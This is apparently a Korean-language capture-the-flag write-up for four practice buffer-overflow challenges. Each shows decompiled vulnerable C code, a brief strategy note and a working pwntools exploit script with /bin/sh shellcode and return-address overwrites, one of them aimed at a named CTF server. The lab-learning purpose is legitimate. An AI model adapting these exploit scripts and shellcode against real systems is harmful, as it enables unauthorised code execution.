1. 내 버퍼가 흘러넘친다!!!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-14h]
setvbuf(stdout, 0, 2, 0);
printf("Name : ");
read(0, &name, 0x32u);
printf("input : ");
gets(&s);
return 0;
}
전역변수 name에 shellcode를 넣고 gets에서 ret를 name의 주소로 조작했다.
from pwn import *
#p = remote(" ", )
p=process("./prob1")
elf=ELF("./prob1")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p.sendlineafter("Name :",shellcode)
p.sendlineafter("input :","a"*0x18 + p32(elf.symbols['name']))
p.interactive()
2. x64 Bufffer Overflow
ida가 있으면 어렵지 않은 문제.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-110h]
int v5; // [rsp+11Ch] [rbp-4h]
_isoc99_scanf("%s", &s, envp);
v5 = strlen(&s);
printf("Hello %s\n", &s, argv);
return 0;
}
그냥 거리가 달라졌을뿐이다
from pwn import *
p = process("./64bof_basic")
elf = ELF("./64bof_basic")
payload = "a"*0x118 + p64(elf.symbols['callMeMaybe'])
p.sendline(payload)
p.interactive()
3. x64 Simple_size_BOF
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-6D30h]
setvbuf(_bss_start, 0LL, 2, 0LL);
puts(&s);
printf("buf: %p\n", &v4);
gets(&v4);
return 0;
}
nx안걸려있음, buf주소를 줌 >> shellcode 넣고 ret를 buf주소로 덮자
from pwn import *
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#p = process("./Simple_size_bof")
p = remote("ctf.j0n9hyun.xyz",3005)
p.recvuntil("buf: ")
buf_addr = int(p.recv(14),16)
print hex(buf_addr)
payload = shellcode + "\x90"*(0x6d38 - len(shellcode)) + p64(buf_addr)
p.sendline(payload)
p.interactive()
4. Simple_Overflow_ver_2
중간에 막혔었는데 이유가 다른 비트의 shellcode를 넣어서였다 ;;
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // ebx
char v5; // [esp+13h] [ebp-89h]
char s[128]; // [esp+14h] [ebp-88h]
int i; // [esp+94h] [ebp-8h]
setvbuf(stdout, 0, 2, 0);
v5 = 'y';
do
{
printf("Data : ");
if ( __isoc99_scanf(" %[^\n]s", s) )
{
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break;
if ( !(i & 0xF) )
printf("%p: ", &s[i]);
printf(" %c", (unsigned __int8)s[i]);
if ( i % 16 == 15 )
putchar(10);
}
}
printf("\nAgain (y/n): ");
}
while ( __isoc99_scanf(" %c", &v5) && (v5 == 'y' || v5 == 'Y') );
return 0;
}
입력을 받으면서 주소를 알려주고, 다시 입력받을 수 있으므로 첫번째 입력엔 주소를 받고 후에 shellcode를 넣는다.
from pwn import *
p = process("./Simple_overflow_ver_2")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = shellcode + "\x90"*(0x8c-len(shellcode))
p.sendline("a")
p.recvuntil("Data : ")
buf_addr = int(p.recv(10),16)
print hex(buf_addr)
p.sendlineafter("(y/n): ","y")
payload += p32(buf_addr)
pause()
p.sendlineafter("Data : ",payload)
p.sendlineafter("(y/n): ","n")
p.interactive()